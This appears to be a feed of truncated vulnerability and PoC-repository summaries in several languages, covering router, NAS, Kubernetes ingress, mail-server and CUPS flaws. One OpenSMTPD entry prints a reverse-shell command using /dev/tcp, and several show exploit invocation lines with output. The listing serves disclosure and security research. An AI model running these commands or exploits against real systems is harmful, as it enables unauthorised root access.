the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

CVE-2026-71960 — Cudy WR3000 2.0 메시 MQTT 브로커의 하드코딩된 JWT 시크릿 Hunt-Benito 기사를 위한 PoC 도구 모음 "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker"...

CVE-2019-19268

CVE-2019-19268 영향받는 버전: rConfig 3.9.2. 설명 rConfig v3.9.2의 잘못된 구성으로 인한 여러 공격 벡터로, 로컬 사용자가 sudo를 통해 루트 명령을 실행할 수 있습니다. 발견자 dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 이메일: [email protected] rConfig 3.9.2의 Sudo 구성은 apache 사용자에게 /usr/bin/zip, /bin/chmod 및 /usr/bin/tail...

CVE-2024-27130

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。在所有的人质获释并安全回家之前，我们决不罢休。您可以帮助他们回到家乡。https://stories.bringthemhomenow.net/ QNAP QTS CVE-2024-27130 PoC 🔒 本仓库包含一个针对 CVE-2024-27130 的验证性攻击脚本 PoC，该漏洞影响 QNAP QTS。此漏洞允许攻击者以 root 权限执行任意命令。 ⚠️ 描述 🔎 该脚本利用 QNAP QTS 中的一个漏洞，使攻击者能够以 root...

CVE-2020-7247

CVE-2020-7247 이 취약점은 OpenBSD 메일 서버 OpenSMTPD의 smtpmailaddr 함수에 존재하며, OpenBSD 버전 6.6에 영향을 미칩니다. 이를 통해 공격자는 root 사용자 권한으로 "sleep 66"과 같은 임의의 셸 명령어를 실행할 수 있습니다. 사용 방법 python3 getShell.py 리버스 셸이 필요하다면 다음과 같이 실행하세요. python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 중요 이 익스플로잇에서 RCPT t...

CVE-2024-57376

CVE-2024-57376 Pre-auth 远程代码执行漏洞，针对 D-Link DSR-250 和 DSR-250N 安全公告：https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 用法 $ python3 exploit.py usage: 示例 $ python3 exploit.py 192.168.1.1 443 id + fingerprint device: DSR-250N year : 2021 b'HTTP/1.1 200...

CVE-2019-14287-write-up

CVE-2019-14287-분석 4294967295 Sudo 버그로 제한된 사용자가 Root로 명령 실행 가능 취약점 시연 새 사용자 추가: sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo 새 항목 추가 test ALL=ALL, !root /usr/bin/id // specifying that this user cannot use id command with root user 파일을 저장하고 root 사용자...

CVE-2026-95675

CVE-2026-95675 — D-Link DAP-1360 RevB Ejecución remota de comandos como root sin autenticación CWE-78 — Inyección de comandos del sistema operativo en el manejador formSystemCheck, accesible mediante una puerta trasera de autenticación codificada de forma fija. Verificado contra DAP-1360 RevB,...

EUVD-2026-43181

PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls...

CVE-2023-51073

CVE-2023-51073 - Buffalo LS210D 버전 1.78-0.03의 펌웨어 업데이트 서버 검증 취약점 Christopher J. Pace 및 Ryan Miller Buffalo LS210D는 소규모 기업과 개인을 대상으로 설계 및 판매되는 NASNetwork Attached Storage 서버입니다. LS210D에는 원격으로 펌웨어 업데이트를 다운로드하고 설치하는 기능이 내장되어 있습니다. LS210D는 이 기능 내에서 "중간자 공격AitM"에 취약합니다. 피해자의 업스트림 연결을 제어하는 공격자는 업데이트 서버...

CVE-2026-96515

CVE-2026-96515: Netlink HG323RW における認証済み root コマンド実行 認証済みの制限付き Web ユーザーは、Netlink HG323RW の診断インポートハンドラーを通じてシェルスクリプトをアップロードし、UID-0 の BOA プロセスにそれを実行させることができます。認証および有効な verification/CSRF 値が必要です。本リポジトリは、認証前のコード実行を主張するものではありません 。 脆弱性レコード フィールド| 値 ---|--- CVE| CVE-2026-96515 製品| Netlink ICT HG323RW Rout...

CVE-2025-1974-PoC-exploit

CVE-2025-1974-PoC-익스플로잇 쿠버네티스 Ingress-nginx RCE IngressNightmare ❯ python3 exploit.py http://localhost:8443 "id" ============================================================ CVE-2025-1974 - IngressNightmare Exploit ============================================================ Target:...

Klog Server <=2.41 - Unauthenticated Command Injection

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...

Grandstream UCM6200 - SQL Injection

Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17. id: CVE-2020-5722 info: name: Grandstream UCM6200 - SQL Injection...

CVE-2026-34990

CVE-2026-34990 説明 CVE-2026-34990 - OpenPrinting CUPS バージョン 2.4.16 以前において、ローカルの非特権ユーザーが cupsd を騙して、攻撃者が制御する localhost の IPP サービスに対して、再利用可能な Authorization: Local ... トークンを用いて認証させることが可能です。このトークンは localhost 上の /admin/ リクエストを実行するのに十分であり、攻撃者は CUPS-Create-Local-Printer と printer-is-shared=true...

TencentOS Server 2: sg3_utils (TSSA-2026:1086)

The version of Tencent Linux installed on the remote TencentOS Server 2 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2026:1086 advisory. Package updates are available for TencentOS Server 2 that fix the following vulnerabilities:...

PT-2026-104588

Name of the Vulnerable Software and Affected Versions act runner affected versions not specified Description The act runner appends workflow-controlled jobs..container.options directly to the Docker HostConfig for the job container. When privileged mode is disabled, the system only forces the...

EUVD-2026-89497

A code injection vulnerability in WatchGuard Fireware OS's BOVPN Over TLS client configuration handling allows an attacker who controls the remote VPN server to execute arbitrary commands as root on the connecting Firebox...

CVE-2026-86131

A code injection vulnerability in WatchGuard Fireware OS's BOVPN Over TLS client configuration handling allows an attacker who controls the remote VPN server to execute arbitrary commands as root on the connecting Firebox...

AlmaLinux 9.2 [TuxCare] Security Update: cups / cups-client / cups-devel / cups-filesystem / cups-ipptool / etc (ALMALINUX9.2:CLSA-2026:1786675343)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1786675343 advisory. - OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, a local...

CVE-2026-12269

Zohocorp ManageEngine DDI Central 6.2.0 build below 6201 had a Keepalived configuration injection vulnerability in the HA configuration workflow. This issue could allow an authenticated operator-level user to modify the Keepalived configuration and potentially execute commands as root on the DDI...